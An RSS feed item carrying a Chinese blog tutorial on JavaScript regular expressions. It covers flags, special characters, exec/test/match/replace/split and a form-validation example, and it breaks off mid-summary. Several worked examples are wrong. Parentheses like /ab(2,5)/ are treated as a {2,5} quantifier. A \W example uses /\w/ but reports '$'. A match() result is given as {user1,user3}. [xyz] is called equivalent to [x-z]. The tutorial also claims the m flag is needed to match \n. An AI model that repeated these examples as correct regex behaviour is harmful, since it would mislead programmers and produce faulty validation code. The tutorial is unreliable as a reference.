﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-SunBaby's Blog-文章分类-其它</title><link>http://www.blogjava.net/sunbaby/category/21435.html</link><description /><language>zh-cn</language><lastBuildDate>Mon, 02 Jul 2007 17:47:29 GMT</lastBuildDate><pubDate>Mon, 02 Jul 2007 17:47:29 GMT</pubDate><ttl>60</ttl><item><title>Javascript经典正则表达式 </title><link>http://www.blogjava.net/sunbaby/articles/127445.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Mon, 02 Jul 2007 02:28:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/127445.html</guid><description><![CDATA[<strong><font size=5>一，概述</font></strong>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1，正则表达式，可以说是任何一种编程语言都提供的机制，它主要是提供了对字符串的处理能力。<br>2，正则表达式在页面处理中的使用场景：<br>1）表单验证。验证某些域符合某种规则，例如邮件输入框必须输入的是邮件、联系电话输入框输入的必须是数字等等<br>2）处理DOM模型。例如通过表达式定位DOM中的一个对象或一系列对象，一个例子就是定位id属性中含有某个特殊字符的div对象。<br>3）纯编程逻辑。直接用于编程的逻辑之中。<br>3，说明：本部分所举的正则表达式的代码片断，都是经过测试的，但有一点需要注意，对于换行的字符串的定义，我们在表述时使用的是类似如下的形式：<br>var str=&#8220;It&#8217;s is<br>&nbsp;a&nbsp; beautiful city&#8221;；<br>这种形式直接写在JS代码中是错误的，那如何获取具有换行的字符串呢？简单的办法：在textarea中输入文本并换行，然后将该值赋给JS变量即可。例如：<br>var str=document.forms[0].mytextarea.value;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong><font size=5>二，语法与使用</font></strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong>1，定义正则表达式</strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1）定义正则表达式有两种形式，一种是普通方式，一种是构造函数方式。<br>2）普通方式：var reg=/表达式/附加参数<br>表达式：一个字符串，代表了某种规则，其中可以使用某些特殊字符，来代表特殊的规则，后面会详细说明。<br>附加参数：用来扩展表达式的含义，目前主要有三个参数：<br>g：代表可以进行全局匹配。<br>i：代表不区分大小写匹配。<br>m：代表可以进行多行匹配。<br>上面三个参数，可以任意组合，代表复合含义，当然也可以不加参数。<br>例子：<br>var reg=/a*b/;<br>var reg=/abc+f/g;<br>3）构造函数方式：var reg=new RegExp(&#8220;表达式&#8221;,&#8221;附加参数&#8221;);<br>其中&#8220;表达式&#8221;与&#8220;附加参数&#8221;的含义与上面那种定义方式中的含义相同。<br>例子：<br>var reg=new RegExp(&#8220;a*b&#8221;);<br>var reg=new RegExp(&#8220;abc+f&#8221;,&#8221;g&#8221;);<br>4）普通方式与构造函数方式的区别<br>普通方式中的表达式必须是一个常量字符串，而构造函数中的表达式可以是常量字符串，也可以是一个js变量，例如根据用户的输入来作为表达式参数等等：<br>var reg=new RegExp(document.forms[0].exprfiled.value,&#8221;g&#8221;);</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong>2，表达式模式</strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1）表达式模式，是指表达式的表达方式与样式， 即 var reg=/表达式/附加参数 中的&#8220;表达式&#8221;怎样去描述？<br>2）从规范上讲，表达式模式分为简单模式和复合模式。<br>3）简单模式：是指通过普通字符的组合来表达的模式，例如<br>var reg=/abc0d/;<br>可见简单模式只能表示具体的匹配。<br>4）复合模式：是指含有通配符来表达的模式，例如：<br>var reg=/a+b?\w/;<br>其中的+、?和\w都属于通配符，代表着特殊的含义。因此复合模式可以表达更为抽象化的逻辑。<br>下面我们着重说一下复合模式中各个通配符的含义及其使用。<br>5)复合模式中特殊字符的讲解：</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1&gt;\：在许多编程语言里面被用作转义符，一般来说<br>\符号后面如果跟的是普通字符c，那么\c就代表特殊的含义，例如n本来代表字符n，但\n就代表换行。<br>\符号后面如果跟的是特殊字符c，那么\c就代表普通字符c，例如\一般用作转义符，但\\则调表普通字符\。<br><a name=baidusnap0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Javascript的正则</strong>表达式中\的用法与上面相同，只是不同的编程语言，特殊字符表可能不太一样罢了。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2&gt;^：匹配输入字符串的起始端，如果是多行匹配，即表达式的附加参数中含有m，则也在一个换行符后匹配。<br>例子：/^B/匹配 &#8220;Bab Bc &#8221;中的第一个B<br>例子2：/^B/gm匹配<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Badd B<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cdaf<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B dsfB&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中的第一行第一个B，第三行中的第一个B<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>3&gt;$：匹配输入字符创的尾端，如果是多行匹配，即表达式的附加参数中含有m，则也在一个换行符前匹配。<br>与^的用法相反。<br>例子：/t$/匹配&#8220;bat&#8221;中的t，但是不匹配&#8220;hate&#8221;中的t<br>例子2：/t$/匹配<br>&#8220;tag at<br>bat&#8221;<br>中第一行的最后一个t和第二行的t。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">4&gt;*：匹配前一个字符0次或多次。<br>例子：/ab*/匹配&#8220;dddabbbbc&#8221;中的&#8220;abbbb&#8221;，也匹配&#8220;ddda&#8221;中的&#8220;a&#8221;</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">5&gt;+：匹配前一个字符1次或多次。<br>例子：/ab+/匹配&#8220;dddabbbbc&#8221;中的&#8220;abbbb&#8221;，但不匹配&#8220;ddda&#8221;<br>与后面的{1,}（原型：{n,}）的用法类似</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">6&gt;?：?的用法比较特殊，一般来说它用来对前一个字符做0次或1次匹配，但是它有另外两种特殊的用法：<br>如果紧跟在*、+、?和{ }之后，则表示原始匹配的最小次数匹配，例如：<br>/ba*/本来匹配&#8220;bbbaaaa&#8221;中的&#8220;baaaa&#8221;，但是/ba*?/则匹配&#8220;bbbaaaa&#8221;中的&#8220;b&#8221;（因为*表示0次或多次匹配，而加?应该表示最少次数匹配，即0次匹配）。<br>同理：/ba+?/则匹配&#8220;baaaa&#8221;中的&#8220;ba&#8221;。<br>作为语法结构符号，使用于前置断言中，即后面要说到的x(?=y)和x(?!=y)</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">7&gt;.：小数点中的&#8220;.&#8221;号，匹配任何一个单独的字符，但是换行符除外。<br>标准中总共有哪些字符？请参考：字符集<br>例如：/a.b/匹配&#8220;acbaa&#8221;中的&#8220;acb&#8221;，但是不匹配&#8220;abbb&#8221;。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">8&gt;(x)：表示匹配x(并非特指字符x或者特指一个字符，x表示一个字符串)，而且匹配会被记住，在语法中这种()被称为&#8220;capturing parentheses &#8221;，即捕捉用的小括号。<br>匹配会被记住，是因为在表达式提供的函数中，有些函数返回一个数组，该数组会保存所匹配的所有字符串，例如exec()函数。<br>另外还要注意()中的x被记住的前提是匹配x。<br>例子1：<br>var regx=/a(b)c/;<br>var rs=regx.exec(&#8220;abcddd&#8221;);<br>从上面可以看出,/a(b)c/匹配&#8220;abcddd&#8221;中的&#8220;abc&#8221;，因为()的原因，b也会记录下来，因此rs返回的数字内容为：<br>{abc,b}<br>例子2：<br>&nbsp;var regx=/a(b)c/;<br>&nbsp;var rs=regx.exec(&#8220;acbcddd&#8221;);<br>&nbsp;rs返回null，因为/a(b)c/不匹配&#8220;acbcddd&#8221;，所以()中的b不会被记录下来（尽管字符串中含有b）<br>&nbsp;<br>9&gt;(?:x)：匹配x，但不会记住x，这种格式中的()被称为&#8220;non-capturing parentheses &#8221;，即非捕捉用的小括号。<br>例子：<br>var regx=/a(?:b)c/;<br>var rs=regx.exec(&#8220;abcddd&#8221;);<br>从上面可以看出,/a(?:b)c/匹配&#8220;abcddd&#8221;中的&#8220;abc&#8221;，因为(?:)的原因，b不会记录下来，因此rs返回的数字内容为：<br>{abc}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">10&gt;X(?=y)：匹配x，仅当后面紧跟着y时。如果符合匹配，则只有x会被记住，y不会被记住。<br>例子：<br>var regx=/user(?=name)/;<br>var rs=regx.exec(&#8220;The username is Mary&#8221;);<br>结果：匹配成功，而且rs的值为{user}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">11&gt;X(?!y)：匹配x，仅当后面不紧跟着y时。如果符合匹配，则只有x会被记住，y不会被记住。<br>例子：<br>var regx=/user(?!name)/;<br>var rs=regx.exec(&#8220;The user name is Mary&#8221;);<br>结果：匹配成功，而且rs的值为{user}<br>例子2：<br>var regx=/\d+(?!\.)/;<br>var rs=regx.exec(&#8220;54.235&#8221;);<br>结果：匹配成果，rs的值为{5}，不匹配54是因为54后面跟着&#8220;.&#8221;号，当然235也匹配，但是由于exec方法的行为，235不会被返回</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">12&gt;x|y：匹配x或y。注意如果x和y都匹配上了，那么只记住x。<br>例子：<br>var regx=/beijing|shanghai/;<br>var rs=regx.exec(&#8220;I love beijing and shanghai&#8221;);<br>结果：匹配成功，rs的值为{beijing}，虽然shanghai也匹配，但不会被记住。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">13&gt;{n}：匹配前一个字符的n次出现。<br>n必须是一个非负数，当然如果是一个负数或小数也不会报语法错误。<br>例子：<br>var regx=/ab{2}c/;<br>var rs=regx.exec(&#8220;abbcd&#8221;);<br>结果：匹配成功，rs的值为：{abbc}。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">14&gt;{n,}：匹配前一个字符的至少n次出现。<br>例子：<br>var regx=/ab{2,}c/;<br>var rs=regx.exec(&#8220;abbcdabbbc&#8221;);<br>结果：匹配成功，rs的值为：{abbc}。注意为什么abbbc也符合条件为什么没有被记住，这与exec方法的行为有关，后面会统一讲解。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">15&gt;{n,m}：匹配前一个字符的至少n次最多m次的出现。<br>只要n与m为数字，而且m&gt;=n就不会报语法错误。<br>例子：<br>var regx=/ab{2,5}c/;<br>var rs=regx.exec(&#8220;abbbcd&#8221;);<br>结果：匹配成功，rs的值为：{abbbc}。<br>例子2：<br>var regx=/ab{2,2}c/;<br>var rs=regx.exec(&#8220;abbcd&#8221;);<br>结果：匹配成功，rs的值为：{abbc}。<br>例子3：<br>var regx=/ab(2,5)/;<br>var rs=regx.exec(&#8220;abbbbbbbbbb&#8221;);<br>结果：匹配成功，rs的值为：{abbbbb}，这说明，如果前一个字符出现多于m次，则只匹配m次。另外：<br>var regx=/ab(2,5)c/;<br>var rs=regx.exec(&#8220;abbbbbbbbbbc&#8221;);<br>结果：匹配失败，rs的值为：null，为什么匹配失败，因为b多于5个则b(2,5)会匹配前5个b，，而表达式/ab(2,5)c/中b后面是c，但字符串中5个b之后还是b所以会报错。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">16&gt;[xyz]：xyz表示一个字符串，该模式表示匹配[]中的一个字符，形式上[xyz]等同于[x-z]。<br>例子：<br>var regx=/a[bc]d/;<br>var rs=regx.exec(&#8220;abddgg&#8221;);<br>结果：匹配成功，rs的值为：{abd}<br>例子2：<br>var regx=/a[bc]d/;<br>var rs=regx.exec(&#8220;abcd&#8221;);<br>结果：匹配失败，rs的值为：null，之所以失败，是因为[bc]表示匹配b或c中的一个，但不会同时匹配。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">17&gt;[^xyz]：该模式表示匹配非[]中的一个字符，形式上[^xyz]等同于[^x-z]。<br>例子：<br>var regx=/a[^bc]d/;<br>var rs=regx.exec(&#8220;afddgg&#8221;);<br>结果：匹配成功，rs的值为：{afd}<br>例子2：<br>var regx=/a[^bc]d/;<br>var rs=regx.exec(&#8220;abd&#8221;);<br>结果：匹配失败，rs的值为：。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">18&gt;[\b]：匹配退格键。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">19&gt;\b：匹配一个词的边界符，例如空格和换行符等等，当然匹配换行符时，表达式应该附加参数m。<br>例子：<br>var regx=/\bc./;<br>var rs=regx.exec(&#8220;Beijing is a beautiful city&#8221;);<br>结果：匹配成功，rs的值为：{ci}，注意c前边的空格不会匹配到结果中，即{ ci}是不正确的。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">20&gt;\B：代表一个非单词边界。<br>例子：<br>var regx=/\Bi./;<br>var rs=regx.exec(&#8220;Beijing is a beautiful city&#8221;);<br>结果：匹配成功，rs的值为：{ij}，即匹配了Beijing中的ij。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">21&gt;\cX，匹配一个控制字符。例如， \cM 匹配一个 Control-M 或 <br>回车符。 x 的值必须为 A-Z 或 a-z 之一。否则，将 c 视为一 <br>个原义的 &#8217;c&#8217; 字符。（实际的例子还需补充） </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">21&gt;\d：匹配一个数字字符，等同于[0-9]。<br>例子：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;user1&#8221;);<br>结果：匹配成功，rs的值为：{user1}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">22&gt;\D：匹配一个非数字字符，等同于[^0-9]。<br>例子：<br>var regx=/user\D/;<br>var rs=regx.exec(&#8220;userA&#8221;);<br>结果：匹配成功，rs的值为：{userA}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">23&gt;\f：匹配一个换页符。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">24&gt;\n：匹配一个换行符。因为是换行符，所以在表达式中要加入m参数。<br>例子：<br>var regx=/a\nbc/m;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var str=&#8220;a<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bc&#8221;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var rs=regx.exec(str);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 结果：匹配成功，rs的值为：{&nbsp; }，如果表达式为/a\n\rbc/，则不会被匹配，因此在一般的编辑器中一个&#8221;Enter&#8221;键代表着&#8220;回车换行&#8221;，而非&#8220;换行回车&#8221;，至少在textarea域中是这样的。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>25&gt;\r：匹配一个回车符</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">26&gt;\s：匹配一个空格符，等同于[ \f\n\r\t\v\u00A0\u2028\u2029].<br>例子：<br>var regx=/\si/;<br>var rs=regx.exec(&#8220;Beijing is a city&#8221;);<br>结果：匹配成功，rs的值为：{ i}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">27&gt;\S：匹配一个非空格符，等同于[ ^\f\n\r\t\v\u00A0\u2028\u2029].<br>例子：<br>var regx=/\Si/;<br>var rs=regx.exec(&#8220;Beijing is a city&#8221;);<br>结果：匹配成功，rs的值为：{ei}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">28&gt;\t：匹配一个tab<br>例子：<br>var regx=/a\tb/;<br>var rs=regx.exec(&#8220;a&nbsp;bc&#8221;);<br>结果：匹配成功，rs的值为： {a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bc} </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">29&gt;\v：匹配一个竖向的tab</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">30&gt;\w：匹配一个数字、_或字母表字符，即[A-Za-z0-9_ ]。<br>例子：<br>var regx=/\w/;<br>var rs=regx.exec(&#8220;$25.23&#8221;);<br>结果：匹配成功，rs的值为：{2}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">31&gt;\W：匹配一个非数字、_或字母表字符，即[^A-Za-z0-9_ ]。<br>例子：<br>var regx=/\w/;<br>var rs=regx.exec(&#8220;$25.23&#8221;);<br>结果：匹配成功，rs的值为：{$}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">32&gt;\n：注意不是\n，这里n是一个正整数，表示匹配第n个()中的字符。<br>例子：<br>var regx=/user([,-])group\1role/;<br>var rs=regx.exec(&#8220;user-group-role&#8221;);<br>结果：匹配成功，rs的值为：{user-group-role,-}，同样对user,group,role的匹配也是成功的，但像user-group,role等就不对了。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">33&gt;\0：匹配一个NUL字符。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">34&gt;\xhh：匹配一个由两位16进制数字所表达的字符。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">35&gt;\uhhhh：匹配一个由四位16进制数字所表达的字符。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><br><strong>3，表达式操作</strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1）表达式操作，在这里是指和表达式相关的方法，我们将介绍六个方法。<br>2）表达式对象（RegExp）方法：</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1&gt;exec(str)，返回str中与表达式相匹配的第一个字符串，而且以数组的形式表现，当然如果表达式中含有捕捉用的小括号，则返回的数组中也可能含有()中的匹配字符串，例如：<br>var regx=/\d+/;<br>var rs=regx.exec(&#8220;3432ddf53&#8221;);<br>返回的rs值为：{3432}<br>var regx2=new RegExp(&#8220;ab(\d+)c&#8221;);<br>var rs2=regx2.exec(&#8220;ab234c44&#8221;);<br>返回的rs值为：{ab234c,234}<br>另外，如果有多个合适的匹配，则第一次执行exec返回一个第一个匹配，此时继续执行exec，则依次返回第二个第三个匹配。例如：<br>var regx=/user\d/g;<br>var rs=regx.exec(&#8220;ddduser1dsfuser2dd&#8221;);<br>var rs1=regx.exec(&#8220;ddduser1dsfuser2dd&#8221;);<br>则rs的值为{user1}，rs的值为{rs2}，当然注意regx中的g参数是必须的，否则无论exec执行多少次，都返回第一个匹配。后面还有相关内容涉及到对此想象的解释。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2&gt;test(str)，判断字符串str是否匹配表达式，返回一个布尔值。例如：<br>var regx=/user\d+/g;<br>var flag=regx.test(&#8220;user12dd&#8221;);<br>flag的值为true。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">3）String对象方法</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1&gt;match(expr)，返回与expr相匹配的一个字符串数组，如果没有加参数g，则返回第一个匹配，加入参数g则返回所有的匹配<br>例子：<br>var regx=/user\d/g;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.match(regx);<br>rs的值为：{user1,user3}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2&gt;search(expr)，返回字符串中与expr相匹配的第一个匹配的index值。<br>例子：<br>var regx=/user\d/g;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.search(regx);<br>rs的值为：0</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">3&gt;replace(expr,str)，将字符串中匹配expr的部分替换为str。另外在replace方法中，str中可以含有一种变量符号$，格式为$n，代表匹配中被记住的第n的匹配字符串（注意小括号可以记忆匹配）。<br>例子：<br>var regx=/user\d/g;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.replace(regx,&#8221;00&#8221;);<br>rs的值为：003userddd0045<br>例子2：<br>var regx=/u(se)r\d/g;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.replace(regx,&#8221;$1&#8221;);<br>rs的值为：se3userdddse45<br>对于replace(expr,str)方法还要特别注意一点，如果expr是一个表达式对象则会进行全局替换（此时表达式必须附加参数g，否则也只是替换第一个匹配），如果expr是一个字符串对象，则只会替换第一个匹配的部分，例如：<br>var regx=&#8220;user&#8221;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.replace(regx,&#8221;00&#8221;);<br>rs的值为： 0013userddduser345</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">4&gt;split(expr)，将字符串以匹配expr的部分做分割，返回一个数组，而且表达式是否附加参数g都没有关系，结果是一样的。<br>例子：<br>var regx=/user\d/g;<br>var str=&#8220;user13userddduser345&#8221;;<br>var rs=str.split(regx);<br>rs的值为：{3userddd,45}</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong>4，表达式相关属性</strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1）表达式相关属性，是指和表达式相关的属性，如下面的形式：<br>var regx=/myexpr/;<br>var rs=regx.exec(str);<br>其中，和表达式自身regx相关的属性有两个，和表达式匹配结果rs相关的属性有三个，下面将逐一介绍。<br>2）和表达式自身相关的两个属性：</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1&gt;lastIndex，返回开始下一个匹配的位置，注意必须是全局匹配（表达式中带有g参数）时，lastIndex才会有不断返回下一个匹配值，否则该值为总是返回第一个下一个匹配位置，例如：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var lastIndex1=regx.lastIndex;<br>rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var lastIndex2=regx.lastIndex;<br>rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var lastIndex3=regx.lastIndex; <br>上面lastIndex1为9，第二个lastIndex2也为9，第三个也是9；如果regx=/user\d/g，则第一个为9，第二个为18，第三个为0。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2&gt;source，返回表达式字符串自身。例如：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var source=regx.source;<br>source的值为user\d<br>3）和匹配结果相关的三个属性：</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1&gt;index，返回当前匹配的位置。例如：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var index1=rs.index;<br>rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var index2=rs.index; <br>rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var index3=rs.index; <br>index1为4，index2为4，index3为4，如果表达式加入参数g，则index1为4，index2为13，index3会报错（index为空或不是对象）。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2&gt;input，用于匹配的字符串。例如：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var input=rs.input;<br>input的值为sdsfuser1dfsfuser2。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">3&gt;[0]，返回匹配结果中的第一个匹配值，对于match而言可能返回一个多值的数字，则除了[0]外，还可以取[1]、[2]等等。例如：<br>var regx=/user\d/;<br>var rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var value1=rs[0];<br>rs=regx.exec(&#8220;sdsfuser1dfsfuser2&#8221;);<br>var value2=rs[0]; <br>value1的值为user1,value2的值为user2</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong>5，实际应用</strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1）实际应用一<br>描述：有一表单，其中有一个&#8220;用户名&#8221;input域<br>要求：汉字，而且不能少于2个汉字，不能多于4个汉字。<br>实现：<br>&lt;script&gt;<br>function checkForm(obj){<br>&nbsp;&nbsp;&nbsp;&nbsp; var username=obj.username.value;<br>&nbsp;&nbsp;&nbsp;&nbsp; var regx=/^[\u4e00-\u9fa5]{2,4}$/g<br>&nbsp;&nbsp;&nbsp;&nbsp; if(!regx.test(username)){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(&#8220;Invalid username!&#8221;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; <br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; return true;<br>}<br>&lt;/script&gt;<br>&lt;form name=&#8220;myForm&#8221;onSubmit=&#8220;return checkForm(this)&#8221;&gt;<br>&nbsp;&nbsp;&nbsp; &lt;input type=&#8220;text&#8221; name=&#8220;username&#8221;/&gt;<br>&nbsp;&nbsp;&nbsp; &lt;input type=&#8220;submit&#8221; vlaue=&#8220;submit&#8221;/&gt;<br>&lt;/form&gt;<br>2）实际应用二<br>描述：给定一个含有html标记的字符串，要求将其中的html标记去掉。<br>实现：<br>&lt;script&gt;<br>function toPlainText(htmlStr){<br>&nbsp;&nbsp;&nbsp;&nbsp; var regx=/&lt;[^&gt;]*&gt;|&lt;\/[^&gt;]*&gt;/gm;<br>&nbsp;&nbsp;&nbsp;&nbsp; var str=htmlStr.replace(regx,"");<br>&nbsp;&nbsp;&nbsp;&nbsp; return str;<br>}<br>&lt;/script&gt;<br>&lt;form name=&#8220;myForm&#8221;&gt;<br>&nbsp;&nbsp;&nbsp; &lt;textarea id=&#8220;htmlInput&#8221;&gt;&lt;/textarea&gt;<br>&nbsp;&nbsp;&nbsp; &lt;input type=&#8220;button&#8221; value=&#8220;submit&#8221; onclick=&#8220;toPlainText(document.getElementById(&#8216;htmlInput&#8217;).value&#8221;/&gt;<br>&lt;/form&gt;</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong><font size=5>三，小结</font></strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1，Javascript正则表达式，我想在一般的程序员之中，使用者应该不是很多，因为我们处理的页面一般都不是很复杂，而复杂的逻辑一般我们都在后台处理完成了。但是目前趋势已经出现了扭转，富客户端已经被越来越多的人接受，而Javascript就是其中的关键技术，对于复杂的客户端逻辑而言，正则表达式的作用也是很关键的，同时它也是Javascript高手必须要掌握的重要技术之一。&nbsp;</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">2，为了能够便于大家对前面讲述的内容有一个更为综合和深刻的认识，我将前面的一些关键点和容易犯糊涂的地方再系统总结一下，这部分很关键！<br><strong>总结1：附件参数g的用法</strong><br>表达式加上参数g之后，表明可以进行全局匹配，注意这里&#8220;可以&#8221;的含义。我们详细叙述：<br>1）对于表达式对象的exec方法，不加入g，则只返回第一个匹配，无论执行多少次均是如此，如果加入g，则第一次执行也返回第一个匹配，再执行返回第二个匹配，依次类推。例如<br>var regx=/user\d/;<br>var str=&#8220;user18dsdfuser2dsfsd&#8221;;<br>var rs=regx.exec(str);//此时rs的值为{user1}<br>var rs2=regx.exec(str);//此时rs的值依然为{user1}<br>如果regx=/user\d/g；则rs的值为{user1}，rs2的值为{user2}<br>通过这个例子说明：对于exec方法，表达式加入了g，并不是说执行exec方法就可以返回所有的匹配，而是说加入了g之后，我可以通过某种方式得到所有的匹配，这里的&#8220;方式&#8221;对于exec而言，就是依次执行这个方法即可。<br>2）对于表达式对象的test方法，加入g于不加上g没有什么区别。<br>3）对于String对象的match方法，不加入g，也只是返回第一个匹配，一直执行match方法也总是返回第一个匹配，加入g，则一次返回所有的匹配（注意这与表达式对象的exec方法不同，对于exec而言，表达式即使加上了g，也不会一次返回所有的匹配）。例如：<br>var regx=/user\d/;<br>var str=&#8220;user1sdfsffuser2dfsdf&#8221;;<br>var rs=str.match(regx);//此时rs的值为{user1}<br>var rs2=str.match(regx);//此时rs的值依然为{user1}<br>如果regx=/user\d/g，则rs的值为{user1,user2}，rs2的值也为{user1,user2}<br>4）对于String对象的replace方法，表达式不加入g，则只替换第一个匹配，如果加入g，则替换所有匹配。（开头的三道测试题能很好的说明这一点）<br>5）对于String对象的split方法，加上g与不加g是一样的，即：<br>var sep=/user\d/;<br>var array=&#8220;user1dfsfuser2dfsf&#8221;.split(sep);<br>则array的值为{dfsf, dfsf}<br>此时sep=/user\d/g，返回值是一样的。<br>6）对于String对象的search方法，加不加g也是一样的。<br><strong>总结2：附加参数m的用法</strong><br>附加参数m，表明可以进行多行匹配，但是这个只有当使用^和$模式时才会起作用，在其他的模式中，加不加入m都可以进行多行匹配（其实说多行的字符串也是一个普通字符串），我们举例说明这一点<br>1）使用^的例子<br>var 